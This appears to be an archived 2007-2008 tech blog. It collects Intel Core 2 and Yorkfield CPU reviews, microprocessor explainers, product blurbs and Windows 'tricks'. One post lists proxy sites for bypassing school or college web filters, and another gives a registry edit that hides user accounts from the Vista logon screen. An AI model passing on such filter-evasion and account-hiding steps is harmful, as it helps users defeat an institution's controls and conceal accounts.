To coin a John Madden-ism, "speed kills". And with processors, smaller die geometries simply bring lower cost and lower power consumption along with killer speed. In the world of semiconductors and high-end desktop CPUs, it can be said that "process kills". Today Intel is previewing the world's first 3.2GHz quad-core X86 processor. Why? Because they can. Though the Core 2 Extreme QX9770 will not be available for sale until Q1 2008, we've had the chip in-house at HotHardware for the better part of a month. In the pages ahead we'll show you how a 45nm quad-core processor can stretch its legs. Scientists, Physicists and Gear-Heads take note, Intel is jacked up on Hafnium and is breaking out past the 40, heading for the end-zone.

Intel Core 2 Extreme QX9770 Processor

Specifications & Features

Core Frequency - 3.2GHz
System Bus Frequency - 1600MHz
TDP (Thermal Design Power) - 136W
Stepping - 6
Number of CPU Cores - 4
L2 Cache - 12MB (2 x 6MB)
Max processor input voltage (VID) - 1.360v
.045-micron manufacturing process
Shared Smart Cache Technology
PECI Enabled
Enhanced Intel SpeedStep Technology (EIST)
Extended HALT State (C1E) Enabled
Execute Disable Bit (XD) Enabled
Intel 64 Technology
Intel Virtualization Technology (VT)

Packaging - Flip Chip LGA775
Total Die Size: Approximately 214mm2 (107mm2 x2)
Approximately 820M Transistors
MSRP - $TBA

45nm Yorkfield Quad-Core

If you're familiar with the basic chip-level architecture of Intel's 45nm Yorkfield core quad-core processor that we showed you a few weeks back in our Core 2 Extreme QX9650 launch piece, then you've probably noticed that the new QX9770 model is simply a "speed bump" of sorts. Although the QX9770 represents a speed bump on couple of levels, not just core processor speed. Intel is taking the processor to 3.2GHz not by increasing the bus multiplier of the chip, rather they are raising the front side bus speed to 1600MHz, which in turn also provides additional system bus and memory bandwidth.

We've published a number of articles relating to Intel's Core microarchitecture, Core 2 Duo and Extreme family of processors, Penryn, and Intel's 45nm manufacturing process in the past here at HotHardware. For more detail or a refresher on the technologies employed in these products, we suggest taking a look at the following related articles.

Intel Skulltrail and Penryn Performance Preview

Intel P35 Bearlake Chipset and DDR3 Memory Launch

Intel Core 2 Extreme QX6850

Intel Penryn and Nehalem Details Emerge

Intel Wolfdale and Yorkfield Performance (Penryn)

Intel 45nm Fab Process And Penryn Preview

The Intel 45nm Fab Process and Penryn previews above are probably most valuable material if you want to get familiar with the new technologies employed in the Yorkfield core that is at the heart of the new QX9770. These articles will give you a solid background for understanding the underlying technologies of the new Intel processor we'll show you in the pages ahead.

Core Quad

2008-05-14T00:18:00.000-07:00

New power, new speed. Quad-core from Intel.

Leaders of the pack seeking monster performance, look no further. With four execution cores, the Intel® Core™2 Quad processor blows through processor-intensive tasks in demanding multitasking environments and makes the most of highly threaded applications. Whether you're creating multimedia, annihilating your gaming enemies, or running compute-intensive applications at one time, new quad-core processing will change the way you do everything. Pioneer the new world of quad-core and unleash the power of multithreading.

Product information

Download the processor product brief (PDF 647KB)

Full steam ahead for multithreaded applications. Check out the desktop benchmarks

	For the digital home ›
	For the digital office ›

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Learn about processor numbersΔ

Discuss business technologies

Features and benefits

The high end just got higher. Introducing the latest additions to the Core 2 Quad family built using Intel's 45nm technology and hafnium-infused circuitry. These new processors deliver amazing performance and power efficiency. Whether it's encoding, rendering, editing, or streaming, make the most of your professional-grade multimedia applications with a PC powered by the Intel® Core™2 Quad processor. With four processing cores and up to 12MB of shared L2 cache¹ and up to 1333 MHz Front Side Bus, more intensive entertainment and more multitasking can bring a multimedia powerhouse to your house.

	Intel® Wide Dynamic Execution, enabling delivery of more instructions per clock cycle to improve execution time and energy efficiency
	Intel® Intelligent Power Capability, designed to deliver more energy-efficient performance
	Intel® Smart Memory Access, improving system performance by optimizing the use of the available data bandwidth
	Intel® Advanced Smart Cache, providing a higher-performance, more efficient cache subsystem. Optimized for multi-core and dual-core processors
	Intel® Advanced Digital Media Boost, accelerating a broad range of applications, including video, speech and image, photo processing, encryption, financial, engineering and scientific applications. Now improved even further on 45nm versions with Intel® HD Boost utilizing new SSE4 instructions for even better multimedia performance

Make highly threaded applications happy. Get in on the increasing number of highly threaded programs with quad-core technology from Intel. With four processing cores, an Intel Core 2 Quad processor-based PC will fuel more intensive entertainment and more media multitasking than ever.

64-bit Microprocessors

2008-05-14T00:17:00.000-07:00

Sixty-four-bit processors have been with us since 1992, and in the 21st century they have started to become mainstream. Both Intel and AMD have introduced 64-bit chips, and the Mac G5 sports a 64-bit processor. Sixty-four-bit processors have 64-bit ALUs, 64-bit registers, 64-bit buses and so on.

Photo courtesy AMD

One reason why the world needs 64-bit processors is because of their enlarged address spaces. Thirty-two-bit chips are often constrained to a maximum of 2 GB or 4 GB of RAM access. That sounds like a lot, given that most home computers currently use only 256 MB to 512 MB of RAM. However, a 4-GB limit can be a severe problem for server machines and machines running large databases. And even home machines will start bumping up against the 2 GB or 4 GB limit pretty soon if current trends continue. A 64-bit chip has none of these constraints because a 64-bit RAM address space is essentially infinite for the foreseeable future -- 2^64 bytes of RAM is something on the order of a billion gigabytes of RAM.

With a 64-bit address bus and wide, high-speed data buses on the motherboard, 64-bit machines also offer faster I/O (input/output) speeds to things like hard disk drives and video cards. These features can greatly increase system performance.

Servers can definitely benefit from 64 bits, but what about normal users? Beyond the RAM solution, it is not clear that a 64-bit chip offers "normal users" any real, tangible benefits at the moment. They can process data (very complex data features lots of real numbers) faster. People doing video editing and people doing photographic editing on very large images benefit from this kind of computing power. High-end games will also benefit, once they are re-coded to take advantage of 64-bit features. But the average user who is reading e-mail, browsing the Web and editing Word documents is not really using the processor in that way.

Intel's Core 2 Duo and Extreme processors

2008-04-04T20:21:00.000-07:00

INTEL'S DESKTOP PROCESSORS HAVE NOT been in a good place for the past two and a half years. Pentium 4 and Pentium D CPUs have run at relatively high clock speeds but delivered relatively low performance compared to their competition from AMD. They've also drawn a tremendous amount of power, which they've generously expended as heat. In other words, they've been hotter than Jessica Simpson and slower than, well, Jessica Simpson. Despite heroic efforts by Intel's engineering and manufacturing types, these chips based on the Netburst microarchitecture haven't been able to overcome their inherent limitations well enough to keep up with the Athlon 64. As a result, Intel decided to scrap Netburst and bet the farm on a new high-performance, low-power design from the Israel-based design team responsible for the Pentium M.

The product of that team's efforts is a new CPU microarchitecture known as Core, of which the Core 2 Duo and Core 2 Extreme are among the first implementations intended for desktop PCs. We've been knee-deep in hype about the Core architecture for months now, with a stream of juicy technical details, semi-official benchmark previews, and clandestine reviews of pre-release products feeding the anticipation. Clearly, when a player as big as Intel stumbles as badly as it has, PC enthusiasts and most others in the industry are keen to see it get back up and start delivering exciting products once again.

Fortunately, the wait for Core 2 processors is almost over. Intel has decided to take the wraps off final reviews of its new CPUs today, in anticipation of the chips' release to the public in a couple of weeks. Fish have gotta swim, politicians have gotta dissemble, and TR has gotta test hardware, so of course we've had the Core 2 processors on the test bench here in Damage Labs for a thorough workout against AMD's finest—including the new Energy Efficient versions of the Athlon 64 X2. After many hours of testing, we're pleased to report that the Core 2 chips live up to the hype. Intel has recovered its stride, returned to its winning ways, gotten its groove back, and put the izzle back in its shizzle. Read on for our full review.

Conroe up close
We first previewed the chip code-named Conroe back in March, and now we finally have our hands on one within the confines of our own labs. In spite of all the hype, the Core 2 Duo processor itself is a rather unassuming bloke that looks no different than Pentium CPUs that preceeded it. Like them, it resides in an LGA775-style socket and runs on a 1066MHz front-side bus.

The Core 2 Duo E6700 processor Also like its most immediate predecessors, the Core 2 Duo is manufactured on Intel's 65nm fab process. Unlike them, however, the Core 2 Duo is not comprised of two chips crammed together on one package; it's a native dual-core design with a total of roughly 291 million transistors arranged in an area that's 143 mm². By contrast, each of the Pentium Extreme Edition 965's two chips have an estimated 188 million transistors in an 81-mm² die. If you add the two chips together, the Pentium Extreme Edition 965 has more total transistors and a larger total die area than the Core 2 Duo.

Intel plans to offer five flavors of Core 2 processors initially, with prices and features like so:

Model	Clock speed	Bus speed	L2 cache	TDP	Price
Core 2 Extreme X6800	2.93GHz	1066MHz	4MB	75 W	$999
Core 2 Duo E6700	2.67GHz	1066MHz	4MB	65 W	$530
Core 2 Duo E6600	2.4GHz	1066MHz	4MB	65 W	$316
Core 2 Duo E6400	2.13GHz	1066MHz	2MB	65 W	$224
Core 2 Duo E6300	1.86GHz	1066MHz	2MB	65 W	$183

The prices on the mid-range models are quite reasonable once you consider performance, as we'll do shortly. What you'll really want to notice about the Core 2 chips, though, is the column labeled TDP. This parameter—thermal design power—specifies the amount of cooling the chip requires, and the numbers are down dramatically from the Pentium Extreme Edition 965's rating of 130W. Clock speeds are down, as well, since the Core microarchitecture focuses on achieving high performance per clock rather than stratospheric clock frequencies. The fastest Core 2 processor is the X6800 Extreme, which is separated from the regular Core 2 Duos only by its 2.93GHz clock speed and a 10W higher TDP—oh, and by almost half a grand.

Intel says complete PC systems based on the Core 2 Extreme X6800 and individually boxed products will both begin selling on July 27th, while Core 2 Duo processors with 4MB of L2 cache should show up on August 7th. Intel will be transitioning its CPU production gradually away from Pentiums to Core 2 Duos, and that transition might not happen as quickly as the market would like. I wouldn't be surprised to see strong demand and short supply of these processors for the next couple of months, until Intel is able to ramp up production volumes. The less expensive versions of the Core 2 Duo with 2MB of L2 cache are initial casualties of this controlled ramp. They aren't expected to be available until the fourth quarter of this year.

On a brighter note, the supporting infrastructure for Core 2 chips is already fairly well established. The processors should be compatible with a number of chipsets, including the enthusiast-class 975X and the upcoming 965-series mainstream chipsets from Intel. NVIDIA's nForce4 SLI X16 Intel Edition should work, too, as well as the yet-to-be-released nForce 500 series for Intel. In fact, the Core 2 can act as a drop-in replacement for a Pentium D or Pentium Extreme Edition, provided that the motherboard is capable of supplying the lower voltages that Core 2 processors require. Only the most recent motherboards seem to have Core 2 support, so you'll want to check carefully with the motherboard maker before assuming a board is compatible. Our Core 2 Duo and Extreme review samples, for example, came from Intel with an updated version of the D975XBX motherboard, since older revisions couldn't supply the proper voltage.

Speaking of which, the upgrade path for those who buy motherboards for Core 2 processors in the next few months isn't entirely clear. The server/workstation version of the Core microarchitecture, the Woodcrest Xeon, already rides on a faster 1333MHz front-side bus. The Core 2 Duo may move to this faster bus frequency at some point, but Intel hasn't revealed a schedule for this move. Intel has revealed plans to deliver "Kentsfield," a quad-core processor with two Conroe chips in a single package, in early 2007, but we don't yet know whether current motherboards will be able to support it. Investing in a Core 2-capable motherboard right now might be a recipe for longevity, but it might also be a dead end as far as CPU upgrades are concerned.

What's with the name?
Before we go on, we should probably take a moment to talk about the Core 2 Duo product name. It's dreadful, of course, but for deeper reasons than you might think. You see, microprocessors tend to be known by several names throughout their lives, and usually those names aren't really related. For example, the chip code-named Willamette, based on a microarchitecture called Netburst, became the first product known as Pentium 4. The multiple names may be a little difficult to keep straight, but they're distinctive and follow a coherent logic.

This chip, however, is different. The microarchitecture is called Core, the chip is code-named Conroe, and the product is called Core 2 Duo. By that logic, the chip code-named Willamette would have been based on the Willette microarchitecture, and the first product might have been the Willette 4 Quadro, which everyone knows is actually a disposable razor.

The Core 2 Duo's name does make sense from a certain perspective, though, because Intel has been shipping the original Core Duo as a dual-core mobile processor since the beginning of the year. There's also a single-core version of that processor known as the Core Solo, which explains the whole Duo suffix. And the mobile version of the Core 2 Duo, based on the chip code-named Merom, will be the follow-up to the Core Duo.

See? Ahh.

So why name the microarchitecture Core? You've got me. The Core microarchitecture is a descendant of the one found in the current Core Duo, but it's been pretty extensively reworked and certainly deserves a new name. The fact that its name matches up with the previous-gen product's name is confounding. We'll simply have to, as one Intel employee admonished at the Spring '06 IDF, "Deal with it."

Introduction to How Microprocessors Work

2008-04-04T20:18:00.000-07:00

Microprocessor Progression: Intel

Microprocessor Logic

Microprocessor Memory

Microprocessor Instructions

Microprocessor Performance and Trends

64-bit Microprocessors

Lots More Information

See all CPU articles

The computer you are using to read this page uses a microprocessor to do its work. The microprocessor is the heart of any normal computer, whether it is a desktop machine, a server or a laptop. The microprocessor you are using might be a Pentium, a K6, a PowerPC, a Sparc or any of the many other brands and types of microprocessors, but they all do approximately the same thing in approximately the same way.

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Intel 4004 chip

A microprocessor -- also known as a CPU or central processing unit -- is a complete computation engine that is fabricated on a single chip. The first microprocessor was the Intel 4004, introduced in 1971. The 4004 was not very powerful -- all it could do was add and subtract, and it could only do that 4 bits at a time. But it was amazing that everything was on one chip. Prior to the 4004, engineers built computers either from collections of chips or from discrete components (transistors wired one at a time). The 4004 powered one of the first portable electronic calculators.

If you have ever wondered what the microprocessor in your computer is doing, or if you have ever wondered about the differences between types of microprocessors, then read on. In this article, you will learn how fairly simple digital logic techniques allow a computer to do its job, whether its playing a game or spell checking a document!

DID U EVER THOUGHT OF WIRLESS CHARGING??

2008-04-04T20:16:00.001-07:00

WildCharge, the first wire-free charging and power solutions for consumer electronics and other mobile devices was selected as one of TIME Magazine's Best Inventions Of The Year 2007!!

Available now, WildCharge presents its groundbreaking WildCharger™ charging pad. Also available are WildCharge™ adapters that allow most Motorola RAZR V3 phones to draw power wirelessly from the WildCharger pad.

In the next few months, WildCharge will introduce adapters for other leading mobile phones, smart phones and music players. These include adapters for RIM’s BlackBerry and Apple’s iPhone and iPod family of products and more.

WildCharge™ adapters for Motorola RAZR V3

Sleek and streamlined, the WildCharge RAZR adapter replaces the back-cover of your phone for wire-free charging.

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Cut the cord to the most popular MP3 player in America. The WildCharge iPod nano 2G adapter conveniently connects to your Nano for wire-free charging.

The WildCharger™ pad can simultaneously charge and power up to five such devices once these are enabled with our adapters (or have our technology built-in during manufacture.) WildCharge products eliminate messy, tangled wires and multiple wall bricks. Convenient to use. Good for the environment!

Online orders will be fulfilled in the order received, so check our online Product Catalog and place your orders soon to be assured you are one of the first to experience wire-free charging. We are only accepting domestic orders at this time and can not ship to international addresses. Don’t forget to sign up with the “Newsletter” registration on the home page and we’ll notify you with news of our upcoming new and exciting future products.

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Lock Your Folders !

2007-11-26T23:23:00.000-08:00

You can lock and unlock your folder with this simple trick !
Procedure :
1. Make a folder on the desktop and name it as "folder"
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the 'save as' name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the 'save as' name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !
Simple !

Surf The Blocked Websites

2007-11-26T23:19:00.000-08:00

Are you frustrated because you are not able to visit your favorite websites in your school or college ?Well, no problem the remedy comes here !Below are the list of various sites from which you can surf the blocked websites !
http://kproxy.com (Best For Orkut !)
http://backfox.com
http://atunnel.com
http://calculatepie.com
http://www.stupidcensorship.com
http://www.vmathpie.com
http://www.xroxee.com
http://mathtunnel.com
http://www.pagemod.com (Contributed by : Anonymous)Another Way,Today we still use Internet Explorer to surf the net, so if the block is done on the system then using Mozilla Firefox can help !Use Firefox and try visiting the blocked sites !Enjoy...

CAMGRAB-2 LE

2007-11-26T23:00:00.000-08:00

CamGrab-2 LE

*Save yahoo webcam stream to numbered JPG files
*Save images to AVI movie
*Playback stored webcams (double click the preview window/Play icon)
*Variable speed/window-size playback
*Auto tracks webcam window
*Fixed capture frame rate 1 frame/sec
*Preview window
*Images stored in directory under users name (Separate for Large and Small webcam image)- *Auto detected.

Because of compatibility problems and inconstant results from my tests / reports from others, I've decided to use screen capturing for now while I try figure out a better method. This does have a number of advantages in being compatible with any version and allows you to use it NOW! with the only disadvantage of the webcam having to be always ontop (But you will probably be wanting to see what you record anyway?). Even so, I've tried to make it as user friendly compared with other screen capturing programs out there. Eg. you don't have to specify anything (use just the same as CamGrab1) it will get the webcam wherever you move it on screen (So you can move the window about while capturing) just make sure you keep the whole picture on screen and above other windows.
WAIT!: Before you download, have you checked out the extra great features of CamGrab-2 SE?
None of the limitations of image quality
No limits on number of frames captured
With upto 20fps capture rate you wont miss a frame!
Duplicate frame detection saves on disk space
Compact design hides to system tray when not needed
Main control window lets you capture and keep track of multiple cams
+ More!...
Check out some screen shots here... ...Or download from here.
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NOTE: Because of the high bandwidth caused by making CamGrab-2 LE available for download, it's had to be moved to a free webspace provider. It costs me an excess of £100 a year in web hosting with extra bandwidth usage pushing this price up (Additional bandwidth usage is charged at 5p per MB.)
Please use the forms below to make a donation for the programs featured on this site (Including YEmote,etc..) . Any amount, however small, will be very gratefully accepted
If you have any problems/questions check out the support forums here... If you still wish to contact me directly, please use the contact form in the support section above (due to the amount of E-mail I receive please accept some delay in reply
Download CamGrab-2 LE v1.02 (~3Mb)

Fulfill Your Most Pioneer Film-Making Rhapsody

2007-09-18T07:32:00.000-07:00

Quick Video Converter 3.30 - Powerful video converter/joiner/splitter and dvd ripper.
Quick Video Converter is a digital video Converter / Joiner / Cutter for a user-friendly price. It's the perfect program for home studio processing and for people who are just getting started with video converting and editing. The main function of Quick Video Converter is to convert video files from one format to another, cut a part of file into new video file, merge two or more files in one, rip full or parts of video DVD/SVCD/VCD to video files, extract audio from video to MP3, WAVE, WMA, extract video frames to pictures, such as BMP, JPEG, GIF, TIF, PNG.
More Features:
Video preview: Quick Video Converter provides a video preview player, support most popluar video formats.
Batch Video Converter: Convert supported video files between different formats with output quality adjusting.
DVD Ripper: Extract full or parts of your Video DVD to video files.
SVCD/VCD Ripper: Extract full or parts of your SVCD/VCD to video files.
Batch Video Cutter: Split a part of video file into new video files by selecting the start time and end time.
Convert videos for iPod, PSP, Mobile Phone.
Video Joiner: Merge selected video files into one video file.
Audio Extractor: Extract audio from video to MP3, WAVE, WMA.
Frames Extractor: Extract video frames to pictures, such as BMP, JPEG, GIF, TIF,PNG
Support video file formats:
AVI (DivX, XviD, MS MPEG4, Uncompressed, Cinepak and other);
MPEG (MPEG-1 and MPEG-2 Video)
DVD (VOB)
VCD / SVCD (DAT/MPG)
WMV (Windows Media Video);
RM (Real Networks Video).
ASF(Advanced Streaming Format)
MOV(QuickTime Video)
iPod
PSP
3GP
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Quick DVD Creator 2.80 - Create your own DVD with the most easy-to-use tool.
Quick DVD Creator is an All-in-One software that helps you copy, convert and create DVD movies. It can convert video files to DVD format, can turn your digital photos into DVD movies with your own background music, can transfer your digital camcorder tapes directly into DVD video, can burn DVD videos onto DVD-R, DVD-RW, DVD+R or DVD+RW discs or save your DVD to ISO format for burning next time.
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Supports major video file format: AVI, DivX, XviD, MS MPEG4, MPEG-1, MPEG-2, DVD/VCD/SVCD, WMV, ASF, MOV, QT, 3GP, MP4 ...
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Video Workshop 1.42 - All-In-One digital video studio.
Video Workshop is a digital video converter / editor for home video processing and for people who are just getting started with video editing. Video Workshop provides an easy-to-use interface and is designed for the everyday user. The main function of Video Workshop is to convert video files from one format to another, extract single frames to image files, cut a part of file into new video file, merge two or more files in one, rip audio tracks from video files to mp3 or wave files, and mix audio files (mp3 or wave) into new video file.
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Jagadish: YouTube Downloader 2.1

2007-09-08T10:36:00.000-07:00

Jagadish: YouTube Downloader 2.1

YouTube Downloader 2.1

2007-09-08T10:33:00.000-07:00

YouTube Downloader 2.1
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License:Free Average User Rating: (out of 21 votes) Rate it! Downloads: 26,234 Requirements: Windows 95/98/Me/NT/2000/XP/2003 Server/Vista
Limitations: No limitations
Date Added:June 13, 2007 Publisher's description of YouTube Downloader

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YouTube Downloader is a free tool that downloads videos from YouTube. YouTube Downloader allows you to easily grab and save desired YouTube video to your local computer. Simply paste the URL of a video into the program, press Start, and the AVI file will be downloaded into the selected folder. You dont need any players to play flash video just play it on the default media player classic. This version is the first release on CNET Download.com.

Product Key Explorer 1.8.9

2007-09-08T10:26:00.000-07:00

Product Key Explorer 1.8.9
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Date Added:September 7, 2007 Publisher's description of Product Key Explorer

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Product Key Explorer displays product keys for Windows, MS Office, SQL, Exchange Server and over 200 other software products installed on your network computers. The software retrieves product keys from network computers and allows to protect your company from having pirated software on your network. With this software you will be able to track the number of software licenses installed in your business, find and recover a lost or forgotten product keys, save and keep an up-to-date backup of all your software product keys in a central location. You can also save all your product keys to a text file for printing or copy the serial number to windows clipboard.

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2007-08-27T04:28:00.000-07:00

Can I use my cell phone as a credit card?

2007-08-22T06:17:00.000-07:00

by Julia Layton
January 12, 2007Radio technology will soon do another consolidating act and remove an apparently extraneous "device" from your pocket: Your wallet. Or at least your credit card. If you're the type who never leaves home without your cell phone, you'll automatically have a credit card or debit card with you wherever you go thanks to an improvement on standard RFID technology called near-field communication, or NFC.
The NFC mobile-payment application is currently in trials in the United States, Germany, Finland, the Netherlands and a few other countries, with transportation ticketing as a primary use (think SpeedPass on a cell phone). The idea is that you just touch your phone to an NFC reader (or bring it to within a few centimeters), and it acts just like the credit card or debit card you use right now. A mobile-payment-enabled phone is associated with a bank or credit-card company just like it's associated with a phone-service provider. The technology is similar to the RFID (radio frequency identification) transmitters used in contactless credit cards (see How Blink Technology Works), except that NFC chips allow for two-way communication instead of only one way, which is supposed to make for a more secure payment method.
The technology behind NFC, like RFID, uses inductive coupling to transfer data. Induction occurs when a wire (or any other conductor of electricity) passes through a magnetic field, generating an electric current in the wire. It's similar to the principal of electromagnetism -- that passing an electric current through a coil of wire will generate a magnetic field -- only in reverse. An NFC chip has a coil of wire built into it, much like an RFID chip. When an NFC-equipped cell phone gets to within a few centimeters of an NFC-equipped payment station, which is generating a magnetic field and also has a coil of wire inside, an electric current jumps between the two coils of wire, signaling data-carrying, short-range radio waves to pass between the two devices.
Copyright © Nokia Corporation 2002. All rights reserved.Nokia 6131 NFCUnlike the RFID tags in contactless credit cards, which only send information when asked for it, an NFC chip can also receive information. So when an NFC phone gets close to an NFC payment station, it can have a two-way conversation with the payment station. Instead of simply sending your name and credit card number when the data is requested via the circuit, the chip can have a conversation with the chip in the requesting device. It can say, for instance, "Not yet -- wait until my owner enters a password on my keypad." The pay station will then say, for instance, "Okay, I'll wait," and the devices will keep the connection open until the phone approves the transaction and sends the data.
Nokia revealed the first fully integrated NFC phone, the Nokia 6131 NFC, at the 2007 Consumer Electronics Show (CES) in Las Vegas. At CES, Nokia was in a perfect position to show off what some in the industry consider to be the myriad other applications for an NFC phone -- like sucking data off an NFC-equipped business card and downloading data from an NFC-equipped kiosk. The NFC chip is embedded underneath the cover of the phone. According to the NFC forum, you could also use an NFC phone to unlock the door to your house and synch your phone calendar with your PC calendar.
The 6131 NFC is in trials in New York City as of January 2007. Nokia says it should available to consumers by March. No word yet on which stores or transportation venues will be equipped with the standardized NFC readers.
For more information on mobile phones as payment methods and other NFC applications, check out the following links:
How Blink Technology Works
How Cell Phones Work
How Credit Cards Work
How RFIDs Work
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NFC Forum
PC Magazine: Nokia Intros NFC Phone That Doubles As Credit Card - Jan. 7, 2007
CNET News.com: Sony, NXP to develop short-range wireless chip - Nov. 20, 2006
Sources
NFC Forum
“Nokia 6131 NFC phone taps into mobile payment, ticketing and local sharing.” Nokia Press Release. Jan. 08, 2007.
”Nokia Intros NFC Phone That Doubles As Credit Card.” PC Magazine. Jan. 7, 2007.
”Sony, NXP to develop short-range wireless chip.” CNET News.com. Nov. 20, 2006.
”Visa, Nokia turn cell phones into credit cards.” CNET News.com. Jan. 10, 2007.

THERE IS LOT OF TRICKs NOW FOR ACCESSING,SCRAPING ORKUT FROM MOBILE JUST CHECK IT OUT

2007-08-18T07:22:00.000-07:00

There IS LOT OF TRICKs NOW FOR ACCESSING,SCRAPING ORKUT FROM MOBILE JUST CHECK IT OUT
TRICK-1
1.Using opera mini open a scrapbook. 2.Write down the matter in the scrap box 3.Dont click anything now. If it shows processing, stop it. 4.Using navigation keys, highlight "submit" 5.Now use the "go to" option of opera mini and type the following thing in the address box javascript:submitForm(document.getElementById('b2'),'submit'); 6.Hit ok Thats it.7.this trick works in operamini 2 version only
TRICK-2
1.Download latest version of opera8.60 or 8.65(symbian)2.Write down the matter in the scrap box 3.Now go to tools and find text4.now search the"post scrap" 5.now hit on "post scrap" 2-3 times
6.Thats it
TRICK-3

1.by this trick u can only reply that person who have scraped u 2.use opera mini (any version)go to ur scrap book and click on reply whom u want to srap. 3.Write down the matter in the reply box4.now post the scrap
5.thts it.u can use any opera

TRICK-4
1.JUST use netfront any version2.u will be able to open ur accounts

TRICK-5

1.Use this link www.t9space.com/orkut from mobile2.image displaying option should be on 3.thats it u will be able to scrap any one

HOW TO HACK WINDOWS VISTA

2007-08-18T06:38:00.000-07:00

Customizing the Look of the Starup
Windows Vista has a great new look,but after a while,the new look can get old.With the help of some tricks you can customize many components of Windows Vista
Customizing the Boot Screen
Over the several Years that windows vista was in the planning stages and in development,many promises were made about new features and enhancements.One of those promises had to do with high resolution boot screens.This was going to be a great feature replacing the ancient 256-color boot screen that has been with windows since win 95.Over time, as development of vista was slipping behind schedule and developers were plagued with hardware comaptibility problems with the high-resolution boot screen code,the feature was pulled from the final product.
Although this feature never made it in to released version of Windows Vista,there appears to be some parts of it left in the system.This section shows you a cool trick that will enable a hidden boot screen that looks like it was part of the high-resolution feature
Some users have problems with using the hidden boot screen possibly the reason why Microsoft hid it in the first place.If you are one of those users,simply boot in to safe mode and undo the steps for enabling the boot screen.Unfortunatly,it is not currently known exactly what hardware has problem withe the hidden boot screen.When you are read it,follow these steps to eanble this boot screen on your PC:
1. Click the start button,type msconfig in the search box,and then press Enter
2. When the system Configuration Utility loads,Click the Boot tab.
3. Locate the No GUI boot box and select it .
4. Click OK and reboot your computer
You shoulsd see the hidden boot screen after you reboot your PC.if you have problems with the hidden boot screen,just boot into Safe mode(hold down F8 when you boot up) and remove the check from the No GUI Boot box
Customizing the Logon ScreenWindows Vista included a slightly improved Logon screen similiar to the one that was used in windows XP.Gone for good this time is the Windows NT-style classic Logon screen with
which many domain users are familiar(beacause it was included in the last several releases of Windows).
In Windows Vista,Microsoft has done a lot of work on security the logon system by digitally signing the logon components.This makes it next to impossible for anyone to modify the Logon screen files,so it greatly increase the security of Vista.Unfortunatly,it also makes it next to impossible for people like us who want to customize the logon screen;you can no longer just hack a system file and replace some resources in it.now, if you hack a system file with a resource hacker and customize the images in it,the digital signature will be broken and the file will no longer be used by Vista
The days of customizing the logon screen are over for now until someone writes an apllication that extends the Logon screen or someone releases as a patch that disables the requirments for the Logon screen system files to be digitally signed.
So in this end of customizing the Logon screen?Not at all!You can still do a lot of useful tweaks to the Logon screen that will give the Logon screen a personal touch,such a changing user pictures,hiding users,customizing the Logon screen Screensaver,and more.
Changing User pictures
Each user who is setup on your computer can associate an image that appears next to his or her name on the Logon screen.you have the option to select a picture for your account when you install windows.However,the screen that allows you to pick an image offers only a small selection of the pictures available to you.In addition,if you do not like the images that Windows has to offer,you can select any image file
The process of changing a users’s image is simple.Just perform the following steps and you will have it changed in no time
1. Click the Start button,and then Click your user picture
2. Select Change your picture from the middle of the list.
3. You will now be shown all the Windows user images that you can choose from.If you find one you like,click it,and then click the Change Picture button.
4. If you prefer a different photo,click Browse for more pictures to select and use any image file on your PC.
5. After you have selected your new image,your setting change is instantly applied.You can now close user Accounts and Control panel.
Now you have Changed your user image on the Logon screen;you have also updated the image used on the Start menu
Hiding users on the Logon screen
One of the side effects of the new Logon screen is the list of all user accounts on the computer.What if you created an account that you want only to run a service under?You do not want other users of your computer to even have the option to log on to that account because you designated it only to run a service.With the help of a simple Registry hack,it is possilble to hide any account on the Logon screen so that it is no longer possible to log on to it.
Hidden away in the local system settings is the feature that Microsoft used in the past to hide system accounts from the Logon screen.In Windows Vista,the actual Logon screen hides system account,so the old method code was removed from the Registry .However,the functionality still exists.In the next few steps,I show you how to re-create the missing Registry code so that you can use this feature once again to hide your accounts
1. 1. Click the start button,type regedit in the Search box,and then press Enter
2. 2. When Registry Editor loads,navigate through HKEY_LOCAL\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3. 3.You must now create a new key,Right-click the Winlogon folder,select New,and then select Key.Name this new key SpecialAccounts
4. 4.Right-Click the new SpecialAccounts folder,select New,and then select Key,Call this new key UserList
5. 5.Now you are ready to add the name of the account that you want to hide,To add a name ,right-Click and select a new DWORD value
6. 6.When the new DWORD is created,enter the name of the user’s account as the name of the DWORD.After you have done this,you can close the Registry Editor.
After you log off and back on or reboot,the user will not be displayed on the Logon screen.keep in mind that no one will now be able to log on to this account interactively.If you want to hide all accounts and just have a username and password,the next section is for you.If you opt for that method,you can hide all accounts and still log on to them.You just need to remember the username and the password beacause no accounts will be listed any more.
If you ever change your mind and want the account to display on the Logon screen again,Just delete the entry that you made in the list in the system registry,and everything will be back to the way it once was.
Clearing the last user logonEvery time you boot up your PC,all computer accounts and user who have logged on to it display on the Logon screen.this can be a big security risk beacause it shows the username of all accounts that some one can try to use to break into the computer.In addition,the Logon screen can become cluttered with user accounts,Therefore,it might be a good idea to enable the Do not display last user name Policy.In previous version of Windows that used the classic Logon screen,this policy would just clear the User name text box so that an attacker would have no clue about the last account used to log on.With the removal of the classic Logon screen in Vista,this policy behaves slightly differently by removing the account list on the Logon screen and turning on basic User name and Password boxes
Using the policy is easy,if you choose to enable it,if so,just follow these steps:
1. 1. Click the Start button,type secpol.msc ,and press Enter.
2. 2. When the Local Security Policy editor loads,navigate through Local Policies and then Security Option
3. 3. Locate the Intractive Logon:Do not Display last user name policy.Right-Click it and select Properties.
4. 4. On the Local Security Settings tab,select Enabl,and then click OK.
5. 5. Close the Local Security Policy editor and you are finished
As soon as you log off or reboot ,the new Logon screen settings will be present
Changing the Logon screen screensaver
If you turn on your computer and let it sit at the Logon screen long enough, eventually the
screensaver will appear. This setting can be tweaked so that you can set the screensaver that you want to see instead of the boring Windows default. Unlike changing your screensaver for youraccount when you are logged on, it is possible to change the Logon screen screensaver settingonly by using the Registry.With the help of a few quick Registry hacks, you can finetune the screensaver that is displayed and other settings such as the screensaver Timeout value that determines how long before the screensaver is activated.
